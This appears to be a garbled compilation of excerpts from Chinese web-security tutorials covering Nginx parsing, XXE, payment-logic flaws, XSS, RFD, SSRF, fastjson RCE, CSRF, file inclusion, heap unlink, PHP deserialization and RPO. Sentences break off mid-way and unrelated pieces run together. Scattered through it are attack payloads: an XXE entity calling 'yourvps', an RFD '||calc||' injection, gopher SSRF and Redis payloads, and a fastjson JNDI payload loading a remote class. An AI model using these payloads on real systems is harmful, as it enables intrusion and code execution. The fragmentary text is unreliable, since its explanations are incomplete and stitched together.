#访问日志 /var/log/nginx/error.log # 错误日志 Nginx文件解析漏洞 1、对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加为 和Apache-样,Nginx也是通过mime.types识别文件,文件在/etc/nginx/mime.types中 原理示例 创建一个1.jpg,然后访问1.jpg/1.php 显示:“Access cgi.fix_pathinfo这个配置在php.ini 中可以修改,默认是开启的 /etc/php5/fpm/php.ini 默认是1,不需要修改 配置/etc/php5/fpm/pool.d/www.conf 中security.limit_extensions允许解析其他格式文件为PHP 再次访问1.jpg/1.php 文件解析漏洞修复方法 1.将php.ini文件中的cgi.fix_pathinfo的值设为 2.将/etc/php5/fpm/pool.d/www.conf中security.limit _extensions后面的值设为.php。
XXE漏洞是XML外部实体注入漏洞,那什么是外部实体呢? ---- XML DTD 1、文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。 Ps:第二条是重点,也是XXE漏洞产生的原因,DTD可以定义外部实体并引用 DTD语法 若DTD要在XML文档中使用,他需要包含在·DOCTYPE声明中 语法 <! etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) 白名单过滤 ---- 判断是否存在XXE漏洞 ENTITY playwin SYSTEM "http://yourvps/xx.txt"> ]> <root>&playwin;</root> 解析成功,说明有XXE漏洞
业务逻辑漏洞是指由于程序逻辑不严谨或逻辑太复杂,导致一些逻辑分支不能正常处理或处理错误。业务逻辑漏洞出现于业务流程中(模块功能),也就是说网站的部分都有可能存在逻辑错误漏洞。 支付逻辑支付逻辑漏洞是指系统的支付流程中存在业务逻辑层面的漏洞支付流程通常为:选择商品和数量 》选择支付和配送方式 》生成订单 》 订单支付 》 完成最常见的支付逻辑漏洞通常是由于服务器端没有对客户端请求数据中金额 支付逻辑漏洞一般在电子商务网站上容易出现,在支付流程中由于没有对客户端请求数据中的金额、数量等敏感信息作校验,带来“0元购”“1分购”等漏洞,会对商家带来大量经济损失。 URL案例:修改商品数量查看余额生成订单提交订单抓包,修改商品数量查看账户余额预防思路多重校验人工审核(订单数值较大)其他业务逻辑问题API逻辑漏洞客户端与API通信无加密客户端与API通信无身份验证其他安全问题 API逻辑漏洞在移动互联网的时代,Web服务已经成为了异构系统之间的互联与集成的主要手段,各种Web服务几乎都采用Web API来构建。
也就是我们可以执行JS代码,验证了XSS漏洞的存在性。 此类型的XSS漏洞是由于恶意攻击代码被持久化保存到服务器上,然后被显示到HTML页面之中这类漏洞经常出现在用户评论的页面,攻击者精心构造XSS代码,保存到数据库中,当其他用户再次访问这个页面时,就会触发并执行恶意的 DOM型XSS漏洞是基于文档对象模型(DocumentObject Model)的一种漏洞。 这种XSS与反射型XSS、持久型XSS在原理上有本质区别,它的攻击代码并不需要服务器解析响应,触发XSS靠的是浏览器端的DOM解析。 /xss.css>expression
基本介绍 RFD(Reflected File Download)即反射型文件下载漏洞,2014年在BlackHat中被提出,该漏洞在原理上类似XSS,在危害上类似DDE,攻击者可以通过一个URL地址使用户下载一个恶意文件 ,从而危害用户的终端PC,不过这个漏洞很罕见,大多数公司会认为它是一个需要结合社工的低危漏洞,但微软,雅虎,eBay,PayPal和其他许多公司认为这是一个中危漏洞 漏洞原理 下面从一个实例理解RDF漏洞 根据漏洞触发的三个条件挖掘漏洞: 输入反射:用户输入被"反射"到响应内容 文件名可控:URL允许接受用户的其他输入,攻击者将其用于把文件扩展名设置为可执行扩展名 诱导下载操作:响应被作为文件里内容进行下载 "6456787984", "first_name": "DemoTest", "last_name": "LastRFD", "version": "5" ", "first_name": "rfd\"||calc||", "last_name": "rfd\"||calc||", "version": "5"
头信息获取客户端的一些信息(比如User-Agent、Accept字段等)会对客户端HTTP Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞
文章目录 0x01 基础知识 1、SSRF漏洞简介: 2、主要攻击方式: 3、漏洞形成原理: 4、漏洞的危害: 0x02 漏洞检测 1、漏洞验证: 2、漏洞的可能出现点: 0x03 绕过方法: 1、绕过限制为某种域名 url=gopher://127.0.0.1:2233/_test (向2233端口发送数据test,同样可以发送POST请求) ... 3、漏洞形成原理: 很多网站提供了从其他的服务器上获取数据的功能 (5)在线翻译:给网址翻译对应网页的内容。 (6)邮件系统:比如接收邮件服务器地址。 2、绕过限制请求IP不为内网地址: (1)采用短网址绕过 (2)利用特殊域名,xip.io可以指向任意域名(原理是DNS解析),即 127.0.0.1.xip.io,可以解析为127.0.0.1 (3) 5、对请求地址设置白名单或者限制内网IP,以防止对内网进行攻击。
漏洞知识库 网络安全/渗透测试/代码审计/ 关注 SSRF漏洞原理与利用 什么是SSRF? 内外网的端口和服务探测 主机本地敏感数据的读取 内外网主机应用程序漏洞的利用 …… 等等 怎么找到SSRF漏洞? 能够对外发起网络请求的地方,就可能存在SSRF漏洞 从远程服务器请求资源(Upload from URL,Import & Export RSS feed) 数据库内置功能(Oracle、MongoDB > SSRF漏洞的利用 访问URL: http://127.0.0.1/web/ssrf.php?url=www.baidu.com ? 912、902、3306端口 80:HTTP 8080:代理服务器端口(因为打开了BurpSuite) 912:虚拟机监听端口 902:Vmware使用的端口 3306:Mysql服务默认端口 SSRF漏洞修复建议
然后通过@type指定的内容来选择反序列化使用到的链为哪一条,那么我们通过此特性通过指定datasourcename参数为我们的恶意class类,从而导致命令执行 fastjson 1.2.24-rce漏洞复现 环境地址 https://github.com/vulhub/vulhub 启动环境 docker-compose up -d 漏洞复现 写入如下代码进入java文件保存为rce.java文件 import 192.168.13.106:9999/rce", "autoCommit":true } } 如下图成功访问本地的rce.class文件 本地已执行命令 fastjson 1.2.47-rce漏洞复现 描述 该漏洞为1.2.24白名单限制,可绕过白名单限制进行命令执行(与1.2.24原理相同) 环境地址 https://github.com/vulhub/vulhub 启动环境 docker-compose up -d 漏洞复现 此漏洞复现方式与fastjson 1.2.24相似,所以我们直接给出payload,连marshalsec项目监听的服务和python监听的class文件的服务都不需要做任何更改
xml基础知识 要了解xxe漏洞,那么一定得先明白基础知识,了解xml文档的基础组成。 5,CDATA CDATA 的意思是字符数据(character data)。 CDATA 是不会被解析器解析的文本。
攻击原理 csrf.png 从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤 1.登录受信任网站A,并在本地生成Cookie 2.在不登出A的情况下,访问危险网站B 防御原理 csrf chapter=7_7&index=5 •https://pay.weixin.qq.com/wiki/doc/api/wxa/wxa_api.php?chapter=4_3
sqli-labs是一款学习SQL注入的开源学习平台,共有75种不同类型的注入,这里我也准备好了资源,这里挂在博客里(链接要是挂了跟我说,随时补上)
phpstudy下载地址:http://phpstudy.php.cn pikachu靶场下载地址:https://github.com/zhuifengshaonianhanlu/pikachu 文件上传漏洞 : 文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。
文件包含漏洞原理浅探 By : Mirror王宇阳 个人主页: https://www.cnblogs.com/wangyuyang1016/ 文件包含 文件包含是指一个文件里面包含另外一个文件 漏洞演示(本地执行) <?php include("phpinfo.txt"); ?> <?php phpinfo(); ?> ? 喏! 由此笔者得到的论证是:include()函数包含的任何文件都会以PHP文件解析,但前提是文件的内容符合PHP代码规范;若内容不符合PHP代码规范则会在页面暴露文件内容(这是重点) 漏洞演示(远程执行) PHP文件包含漏洞基本利用 读取敏感文件 构造类似http://127.0.0.1/?url=.\phpinfo.txt ? 喏!我们看见了文本内容,为什么呢? www.cnblogs.com/timelesszhuang/p/3726736.html PHP6/7关闭了magic_quotes_gpc函数: PHP6\7关闭magic_quotes_gpc对程序的影响 文件包含的漏洞修复
wonderkun 撰写 无回复 0x1 前言 网上关于unlink漏洞的文章已经非常多了,但是作为一个web狗,为了搞明白这个漏洞,还是花了好长时间,中间踩了几个坑,写这篇文章是希望跟我一样啃二进制的 但是还需要注意:expect value +8 地址具有可写的权限,不会导致程序崩溃,这样就产生了一个任意地址写的漏洞。 0x5 分析unsafe unlink的代码,理解unlink漏洞 unsafe unlinke的代码在这里:https://github.com/Escapingbug/how2heap/blob/master p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141 末位清零,最后一位为零表示上一个堆块是free状态,可以和它合并 最后完整的布局图如下: 4.在free(chunk1_ptr)之后,chunk0_ptr指向了&chunk0_ptr-3的地方 5.
本文作者:cream(贝塔安全实验室-核心成员) PHP序列化漏洞原理 1、序列化(串行化) 2、反序列化(反串行化) 3、序列化实例分析 4、反序列化实例分析 5、祸起萧墙---Magic函数 5.1 魔数函数的用法 5.2 安全问题 6、实例讲解 6.2.1 Typecho 6.2.2 漏洞介绍和复现 6.1 CVE-2016-7124 6.2 Typecho反序列化漏洞 6.3 bugku 文件包含和 PHP反序列化漏洞CTF练习题 7、防御PHP序列化漏洞 1、序列化(串行化) 将变量转换为可保存或传输的字符串的过程; 2、反序列化(反串行化) 在适当的时候把这个字符串再转化成原来的变量使用。 成功读取到文件中的内容 6、实例讲解 6.1 CVE-2016-7124 触发该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10。 6.2.2 漏洞介绍和复现 Typecho博客软件存在反序列化导致任意代码执行漏洞,恶意访问者可以利用该漏洞无限制执行代码,获取webshell,存在高安全风险。
基本介绍 Gareth Heyes在2014年首次提出了一种新型攻击手法—RPO(Relative Path Overwrite)相对路径覆盖,该漏洞是一种利用相对URL路径覆盖目标文件的一种攻击手段, 其主要依赖于服务器和浏览器的解析差异性并利用前端代码中加载的css/js的相对路径来加载其他文件,最终使得浏览器将服务器返回的不是css/js的文件当做css/js来解析,从而导致XSS,信息泄露等漏洞产生 原理概述 资源定位 资源的定位有相对路径和绝对路径两种方式,其中绝对路径以根目录为起点并完整地指定资源的路径,例如:http://www.example.com/index.html,其中"http: /index.php Step 5:此时无知的浏览器把..%2findex.php当成了一个文件,可它还是严格按照脚本的要求加载当前目录下的a.js文件,而对它来说现在的当前目录已变成了test,自然而然 文件并加载同目录下的1.js,但是浏览器看到的URL是 http://192.168.204.134/RPO/index.php/page/3/..%2f..%2f..%2findex.php Step 5:
SSRF漏洞原理攻击与防御 前言:笔者对SSRF的进一步研究学习基于网络安全爱好者的兴趣,与白帽黑客的责任,仅在专业靶场和补天平台授权站点进行测试。 [TOC] SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个漏洞 一、SSRF漏洞原理: SSRF漏洞 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制 各个协议调用探针:http,file,dict,ftp,gopher等 四、SSRF漏洞防御: 通常有以下5个思路: 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。 > ctfshow{2abfc1df-79f7-49a9-b02a-d5d5908d150e} Web360 <? 5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%
前言 之前的文章都是写的SQL注入,命令执行,文件上传等一步到位的高危漏洞原理及防御,接下来说一说逻辑漏洞,因为现在工具的大量使用,之前的那些主流漏洞,很难被轻易利用了,逻辑漏洞不一样,工具不会思考,所以应用程序有逻辑缺陷 ,工具很难发现,需要人为去挖掘,接下来就简单说一说,如何来进行逻辑漏洞的挖掘。 逻辑漏洞本质 web应用程序中的逻辑漏洞各不相同,有的很明显,有的很微妙。与SQL注入和跨站不同,逻辑漏洞没有共有的“签名”,定义特性是指应用程序执行的逻辑存在某种缺陷。 没有考虑如果发生X会怎么样,这种错误的假设会造成许多安全漏洞。逻辑漏洞是多样性的,挖掘它们需要从不同的角度思考问题,设法了解设计者和开发者做出的各种假设,然后考虑如何攻击。 常见的逻辑漏洞 一般哪些地方容易报出逻辑漏洞呢,比如,密码找回、交易支付、密码修改、突破限制等。 密码找回中的逻辑问题 关于密码找回的逻辑问题,我画了一个思维导图,把可能出现逻辑缺陷都写出来了。
原理 当你在浏览器上登录某网站后,cookie会保存登录的信息,这样在继续访问的时候不用每次都登录了,这个大家都知道。而CSRF就利用这个登陆态去发送恶意请求给后端。 CSRF攻击 知道了原理,攻击就变得好理解了,接着上面的例子, 我把请求地址改成评论本篇文章的url,参数为 “这篇文章写得6”, 在没有CSRF防御的情况下,我发表一个评论如:脱单秘笈:,后面附上这个脚本的链接